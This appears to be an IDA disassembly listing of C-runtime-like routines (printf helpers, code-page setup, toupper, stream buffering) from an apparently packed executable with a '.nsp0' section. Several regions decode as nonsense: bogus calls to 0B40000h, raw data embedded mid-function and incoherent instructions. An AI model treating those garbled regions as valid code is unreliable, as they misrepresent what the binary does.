; ---------------------------------------------------------------------------


loc_41FB36:				; CODE XREF: sub_41F504+62Aj
		test	bl, 2
		jz	short loc_41FB46
		mov	[ebp+var_16], 20h


loc_41FB3F:				; CODE XREF: sub_41F504+625j
					; sub_41F504+630j
		mov	[ebp+var_1C], 1


loc_41FB46:				; CODE XREF: sub_41F504+61Aj
					; sub_41F504+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FB66
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FC7A
		add	esp, 10h


loc_41FB66:				; CODE XREF: sub_41F504+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FCAB
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FB98
		test	bl, 4
		jnz	short loc_41FB98
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FC7A
		add	esp, 10h


loc_41FB98:				; CODE XREF: sub_41F504+67Bj
					; sub_41F504+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FBDF
		cmp	[ebp+var_C], 0
		jle	short loc_41FBDF
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FBAD:				; CODE XREF: sub_41F504+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423CBE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FBF4
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FCAB
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FBAD
		jmp	short loc_41FBF4
; ---------------------------------------------------------------------------


loc_41FBDF:				; CODE XREF: sub_41F504+698j
					; sub_41F504+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FCAB
		add	esp, 10h


loc_41FBF4:				; CODE XREF: sub_41F504+6BCj
					; sub_41F504+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FC0C ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FC7A
		add	esp, 10h


loc_41FC0C:				; CODE XREF: sub_41F504+68j
					; sub_41F504+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F530


loc_41FC1D:				; CODE XREF: sub_41F504+1Fj
					; sub_41F504+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F504	endp

; ---------------------------------------------------------------------------
off_41FC25	dd offset loc_41F6A3	; DATA XREF: sub_41F504+6Er
		dd offset loc_41F579	; jump table for switch	statement
		dd offset loc_41F594
		dd offset loc_41F5E0
		dd offset loc_41F617
		dd offset loc_41F61F
		dd offset loc_41F654
		dd offset loc_41F6E7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FC45	proc near		; CODE XREF: sub_41F504+1BDp
					; sub_41F504+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FC5E
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FC69
; ---------------------------------------------------------------------------


loc_41FC5E:				; CODE XREF: sub_41FC45+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F3EF
		pop	ecx
		pop	ecx


loc_41FC69:				; CODE XREF: sub_41FC45+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FC76
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FC76:				; CODE XREF: sub_41FC45+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FC45	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC7A	proc near		; CODE XREF: sub_41F504+65Ap
					; sub_41F504+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FCA8
		mov	esi, [esp+8+arg_C]


loc_41FC8B:				; CODE XREF: sub_41FC7A+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FC45
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FCA8
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FC8B


loc_41FCA8:				; CODE XREF: sub_41FC7A+Bj
					; sub_41FC7A+25j
		pop	edi
		pop	esi
		retn
sub_41FC7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAB	proc near		; CODE XREF: sub_41F504+670p
					; sub_41F504+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FCDF
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FCC1:				; CODE XREF: sub_41FCAB+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FC45
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FCDF
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FCC1


loc_41FCDF:				; CODE XREF: sub_41FCAB+Cj
					; sub_41FCAB+2Bj
		pop	edi


loc_41FCE0:				; CODE XREF: .nsp0:0041FD5Bj
		pop	esi
		pop	ebx
		retn
sub_41FCAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCE3	proc near		; CODE XREF: sub_41F504+E5p
					; sub_41F504+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FCE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCF0	proc near		; CODE XREF: sub_41F504+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FCF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD00	proc near		; CODE XREF: sub_41F504+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FD00	endp

; ---------------------------------------------------------------------------


loc_41FD0E:				; CODE XREF: sub_4200D2+Bp
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41FEA7
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4E2944
		mov	[ebp+8], esi
		jz	loc_41FE9B
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41FE91
		xor	edx, edx
		mov	eax, offset dword_442788


loc_41FD42:				; CODE XREF: .nsp0:0041FD4Fj
		cmp	[eax], esi
		jz	short loc_41FDB8
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_442878
		jl	short loc_41FD42
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	near ptr 0B40000h
		jz	short loc_41FCE0
		clc
		add	[edi], ecx
		test	[ecx+eax], esp
; ---------------------------------------------------------------------------
		db 0
		dd 33406A00h, 60BF59C0h, 83004E2Ah, 8901E87Dh, 4E294435h
		dd 0AAABF300h, 2B641D89h, 860F004Eh, 0EFh, 0EE7D80h, 0BB840Fh
		dd 4D8D0000h, 84118AEFh, 0AE840FD2h, 0F000000h,	0FFF41B6h
		dd 0C23BD2B6h, 93870Fh,	88800000h, 4E2A61h, 0EEEB4004h
; ---------------------------------------------------------------------------


loc_41FDB8:				; CODE XREF: .nsp0:0041FD44j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4E2A60
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp-4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_442798[esi]


loc_41FDD4:				; CODE XREF: .nsp0:0041FE11j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FE07


loc_41FDDB:				; CODE XREF: .nsp0:0041FE05j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FE07
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FE00
		mov	edx, [ebp-4]
		mov	dl, byte_442780[edx]


loc_41FDF5:				; CODE XREF: .nsp0:0041FDFEj
		or	byte_4E2A61[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FDF5


loc_41FE00:				; CODE XREF: .nsp0:0041FDEAj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FDDB


loc_41FE07:				; CODE XREF: .nsp0:0041FDD9j
					; .nsp0:0041FDE0j
		inc	dword ptr [ebp-4]
		add	ebx, 8
		cmp	dword ptr [ebp-4], 4
		jb	short loc_41FDD4
		mov	eax, [ebp+8]
		mov	dword_4E295C, 1
		push	eax
		mov	dword_4E2944, eax
		call	sub_41FEF1
		lea	esi, dword_44278C[esi]
		mov	edi, offset dword_4E2950
		movsd
		movsd
		pop	ecx
		mov	dword_4E2B64, eax
		movsd
		jmp	short loc_41FE96
; ---------------------------------------------------------------------------
		db 2 dup(41h), 80h
		dd 0F00FF79h
		db 85h,	48h, 0FFh
		db 0FFh			; CODE XREF: sub_41FEA7+1Fj
; ---------------------------------------------------------------------------
		jmp	fword ptr [edx+1]
; ---------------------------------------------------------------------------
		pop	eax


loc_41FE50:				; CODE XREF: .nsp0:0041FE5Dj
		or	byte_4E2A61[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FE50
		push	esi
		call	sub_41FEF1
		pop	ecx
		mov	dword_4E2B64, eax
		mov	dword_4E295C, 1
		jmp	short loc_41FE7D
; ---------------------------------------------------------------------------
		mov	dword_4E295C, ebx


loc_41FE7D:				; CODE XREF: .nsp0:0041FE75j
		xor	eax, eax
		mov	edi, offset dword_4E2950
		stosd
		stosd
		stosd
		jmp	short loc_41FE96
; ---------------------------------------------------------------------------
		cmp	dword_4E157C, ebx
		jz	short loc_41FE9F


loc_41FE91:				; CODE XREF: .nsp0:0041FD35j
		call	sub_41FF24


loc_41FE96:				; CODE XREF: .nsp0:0041FE3Fj
					; .nsp0:0041FE87j
		call	loc_41FF4D


loc_41FE9B:				; CODE XREF: .nsp0:0041FD2Bj
		xor	eax, eax
		jmp	short loc_41FEA2
; ---------------------------------------------------------------------------


loc_41FE9F:				; CODE XREF: .nsp0:0041FE8Fj
		or	eax, 0FFFFFFFFh


loc_41FEA2:				; CODE XREF: .nsp0:0041FE9Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41FEA7	proc near		; CODE XREF: .nsp0:0041FD1Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4E157C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short near ptr loc_41FEC6+1
		mov	dword_4E157C, 1
		call	near ptr 0B40000h


loc_41FEC6:				; CODE XREF: sub_41FEA7+Ej
		loop	near ptr byte_41FE4B
		clc
		std
		jnz	short loc_41FEDC
		mov	dword_4E157C, 1
		call	near ptr 0B40000h
		cli


loc_41FEDC:				; CODE XREF: sub_41FEA7+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41FEF0
		mov	eax, dword_4E15C0
		mov	dword_4E157C, 1

locret_41FEF0:				; CODE XREF: sub_41FEA7+38j
		retn
sub_41FEA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FEF1	proc near		; CODE XREF: .nsp0:0041FE26p
					; .nsp0:0041FE60p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41FF1E
		sub	eax, 4
		jz	short loc_41FF18
		sub	eax, 0Dh
		jz	short loc_41FF12
		dec	eax
		jz	short loc_41FF0C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41FF0C:				; CODE XREF: sub_41FEF1+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41FF12:				; CODE XREF: sub_41FEF1+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41FF18:				; CODE XREF: sub_41FEF1+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41FF1E:				; CODE XREF: sub_41FEF1+9j
		mov	eax, 411h
		retn
sub_41FEF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF24	proc near		; CODE XREF: .nsp0:loc_41FE91p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4E2A60
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4E2950
		mov	dword_4E2944, eax
		mov	dword_4E295C, eax
		mov	dword_4E2B64, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41FF24	endp

; ---------------------------------------------------------------------------


loc_41FF4D:				; CODE XREF: .nsp0:loc_41FE96p
		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		push	dword_4E2944
		call	near ptr 0B40000h
		add	[ebx-7AF0FE08h], al
		push	ss
		add	[eax], eax
		add	[ebx], dh
		sar	byte ptr [esi+100h], 88h ; CODE	XREF: .nsp0:0041FF81j
		test	ds:0FFFFFEECh, al
		inc	eax
		cmp	eax, esi
		jb	short near ptr loc_41FF71+6
		mov	al, [ebp-0Eh]
		mov	byte ptr [ebp-114h], 20h
		test	al, al
		jz	short loc_41FFC8
		push	ebx
		push	edi
		lea	edx, [ebp-0Dh]


loc_41FF96:				; CODE XREF: .nsp0:0041FFC4j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41FFBD
		sub	ecx, eax
		lea	edi, [ebp+eax-114h]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41FFBD:				; CODE XREF: .nsp0:0041FF9Ej
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41FF96
		pop	edi
		pop	ebx


loc_41FFC8:				; CODE XREF: .nsp0:0041FF8Fj
		push	0
		lea	eax, [ebp-514h]
		push	dword_4E2B64
		push	dword_4E2944
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	1
		call	loc_423B4F
		push	0
		lea	eax, [ebp-214h]
		push	dword_4E2944
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	esi
		push	dword_4E2B64
		call	loc_4229BB
		push	0
		lea	eax, [ebp-314h]
		push	dword_4E2944
		push	esi
		push	eax
		lea	eax, [ebp-114h]
		push	esi
		push	eax
		push	200h
		push	dword_4E2B64
		call	loc_4229BB
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp-514h]


loc_420043:				; CODE XREF: .nsp0:00420082j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420061
		or	byte_4E2A61[eax], 10h
		mov	dl, [ebp+eax-214h]


loc_420059:				; CODE XREF: .nsp0:00420074j
		mov	byte_4E2960[eax], dl
		jmp	short loc_42007D
; ---------------------------------------------------------------------------


loc_420061:				; CODE XREF: .nsp0:00420049j
		test	dl, 2
		jz	short loc_420076
		or	byte_4E2A61[eax], 20h
		mov	dl, [ebp+eax-314h]
		jmp	short loc_420059
; ---------------------------------------------------------------------------


loc_420076:				; CODE XREF: .nsp0:00420064j
		and	byte_4E2960[eax], 0


loc_42007D:				; CODE XREF: .nsp0:0042005Fj
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420043
		jmp	short loc_4200CF
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	esi, 100h


loc_42008D:				; CODE XREF: .nsp0:004200CDj
		cmp	eax, 41h
		jb	short loc_4200AB
		cmp	eax, 5Ah
		ja	short loc_4200AB
		or	byte_4E2A61[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_4200A3:				; CODE XREF: .nsp0:004200C1j
		mov	byte_4E2960[eax], cl
		jmp	short loc_4200CA
; ---------------------------------------------------------------------------


loc_4200AB:				; CODE XREF: .nsp0:00420090j
					; .nsp0:00420095j
		cmp	eax, 61h
		jb	short loc_4200C3
		cmp	eax, 7Ah
		ja	short loc_4200C3
		or	byte_4E2A61[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_4200A3
; ---------------------------------------------------------------------------


loc_4200C3:				; CODE XREF: .nsp0:004200AEj
					; .nsp0:004200B3j
		and	byte_4E2960[eax], 0


loc_4200CA:				; CODE XREF: .nsp0:004200A9j
		inc	eax
		cmp	eax, esi
		jb	short loc_42008D


loc_4200CF:				; CODE XREF: .nsp0:00420084j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4200D2	proc near		; CODE XREF: .nsp0:00422D97p
					; sub_422DE6+Dp ...
		cmp	dword_4E2B8C, 0
		jnz	short locret_4200ED
		push	0FFFFFFFDh
		call	loc_41FD0E
		pop	ecx
		mov	dword_4E2B8C, 1

locret_4200ED:				; CODE XREF: sub_4200D2+7j
		retn
sub_4200D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200EE	proc near		; CODE XREF: sub_41C081+2Bp
					; sub_41C081+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4E295C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420112
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BCA0
		add	esp, 0Ch
		jmp	short loc_420175
; ---------------------------------------------------------------------------


loc_420112:				; CODE XREF: sub_4200EE+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420157
		mov	ecx, [ebp+arg_4]


loc_42011D:				; CODE XREF: sub_4200EE+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4E2A61[esi], 4
		mov	[edi], al
		jz	short loc_420141
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_42014D
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420153
		jmp	short loc_420147
; ---------------------------------------------------------------------------


loc_420141:				; CODE XREF: sub_4200EE+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420157


loc_420147:				; CODE XREF: sub_4200EE+51j
		test	edx, edx
		jnz	short loc_42011D
		jmp	short loc_420157
; ---------------------------------------------------------------------------


loc_42014D:				; CODE XREF: sub_4200EE+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420157
; ---------------------------------------------------------------------------


loc_420153:				; CODE XREF: sub_4200EE+4Fj
		and	byte ptr [edi-2], 0


loc_420157:				; CODE XREF: sub_4200EE+2Aj
					; sub_4200EE+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420172
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420172:				; CODE XREF: sub_4200EE+6Fj
		mov	eax, [ebp+arg_0]


loc_420175:				; CODE XREF: sub_4200EE+22j
		pop	edi
		pop	ebp
		retn
sub_4200EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420178	proc near		; CODE XREF: sub_41C256+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E15B0, 0
		push	ebx
		jnz	short loc_4201A3
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420241
		cmp	eax, 7Ah
		jg	loc_420241
		sub	eax, 20h
		jmp	loc_420241
; ---------------------------------------------------------------------------


loc_4201A3:				; CODE XREF: sub_420178+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_4201D6
		cmp	dword_44276C, 1
		jle	short loc_4201C3
		push	2
		push	ebx
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_4201CE
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_420178+3Dj
		mov	eax, off_442560
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_4201CE:				; CODE XREF: sub_420178+49j
		test	eax, eax
		jnz	short loc_4201D6


loc_4201D2:				; CODE XREF: sub_420178+AFj
		mov	eax, ebx
		jmp	short loc_420241
; ---------------------------------------------------------------------------


loc_4201D6:				; CODE XREF: sub_420178+34j
					; sub_420178+58j
		mov	edx, off_442560
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4201F9
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420202
; ---------------------------------------------------------------------------


loc_4201F9:				; CODE XREF: sub_420178+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420202:				; CODE XREF: sub_420178+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4E15B0
		call	loc_4229BB
		add	esp, 20h
		test	eax, eax
		jz	short loc_4201D2
		cmp	eax, 1
		jnz	short loc_420234
		movzx	eax, [ebp+var_4]
		jmp	short loc_420241
; ---------------------------------------------------------------------------


loc_420234:				; CODE XREF: sub_420178+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420241:				; CODE XREF: sub_420178+14j
					; sub_420178+1Dj ...
		pop	ebx
		leave
		retn
sub_420178	endp


; =============== S U B	R O U T	I N E =======================================



sub_420244	proc near		; CODE XREF: sub_41C475+1Dp
					; sub_41DA8E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4E14FC, ecx
		mov	eax, offset dword_442878


loc_420255:				; CODE XREF: sub_420244+1Ej
		cmp	ecx, [eax]
		jz	short loc_420279
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_4429E0
		jl	short loc_420255
		cmp	ecx, 13h
		jb	short loc_420286
		cmp	ecx, 24h
		ja	short loc_420286
		mov	dword_4E14F8, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420279:				; CODE XREF: sub_420244+13j
		mov	eax, dword_44287C[edx*8]
		mov	dword_4E14F8, eax
		retn
; ---------------------------------------------------------------------------


loc_420286:				; CODE XREF: sub_420244+23j
					; sub_420244+28j
		cmp	ecx, 0BCh
		jb	short loc_4202A0
		cmp	ecx, 0CAh
		mov	dword_4E14F8, 8
		jbe	short locret_4202AA


loc_4202A0:				; CODE XREF: sub_420244+48j
		mov	dword_4E14F8, 16h

locret_4202AA:				; CODE XREF: sub_420244+5Aj
		retn
sub_420244	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202AB	proc near		; CODE XREF: sub_41C49F+8p
					; sub_41D88C+9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423C98
		test	eax, eax
		pop	ecx
		jz	short loc_420334
		cmp	esi, offset dword_442B58
		jnz	short loc_4202C9
		xor	eax, eax
		jmp	short loc_4202D4
; ---------------------------------------------------------------------------


loc_4202C9:				; CODE XREF: sub_4202AB+18j
		cmp	esi, offset dword_442B78
		jnz	short loc_420334
		push	1
		pop	eax


loc_4202D4:				; CODE XREF: sub_4202AB+1Cj
		inc	dword_4E15C8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420334
		cmp	dword_4E1580[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4E1580h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_42031A
		push	ebx
		call	sub_41BBCB
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_42031A
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420327
; ---------------------------------------------------------------------------


loc_42031A:				; CODE XREF: sub_4202AB+4Dj
					; sub_4202AB+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420327:				; CODE XREF: sub_4202AB+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420334:				; CODE XREF: sub_4202AB+10j
					; sub_4202AB+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4202AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_420338	proc near		; CODE XREF: sub_41C49F+24p
					; sub_41D88C+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420362
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420373
		push	esi
		call	sub_41E25B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420362:				; CODE XREF: sub_420338+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420373
		push	eax
		call	sub_41E25B
		pop	ecx


loc_420373:				; CODE XREF: sub_420338+10j
					; sub_420338+32j
		pop	esi
		retn
sub_420338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420375	proc near		; CODE XREF: sub_41CCE5+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420D7B
		mov	edi, [ebp+arg_0]
		jmp	short loc_4203A4
; ---------------------------------------------------------------------------


loc_42039F:				; CODE XREF: sub_420375+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_4203A4:				; CODE XREF: sub_420375+28j
		cmp	dword_44276C, 1
		jle	short loc_4203BC
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_4203CB
; ---------------------------------------------------------------------------


loc_4203BC:				; CODE XREF: sub_420375+36j
		mov	ecx, off_442560
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4203CB:				; CODE XREF: sub_420375+45j
		cmp	eax, ebx
		jz	short loc_420405
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420E02
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420DEB
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DD40
		add	esp, 0Ch


loc_4203F3:				; CODE XREF: sub_420375+8Ej
		test	eax, eax
		jz	short loc_420405
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DD40
		pop	ecx
		jmp	short loc_4203F3
; ---------------------------------------------------------------------------


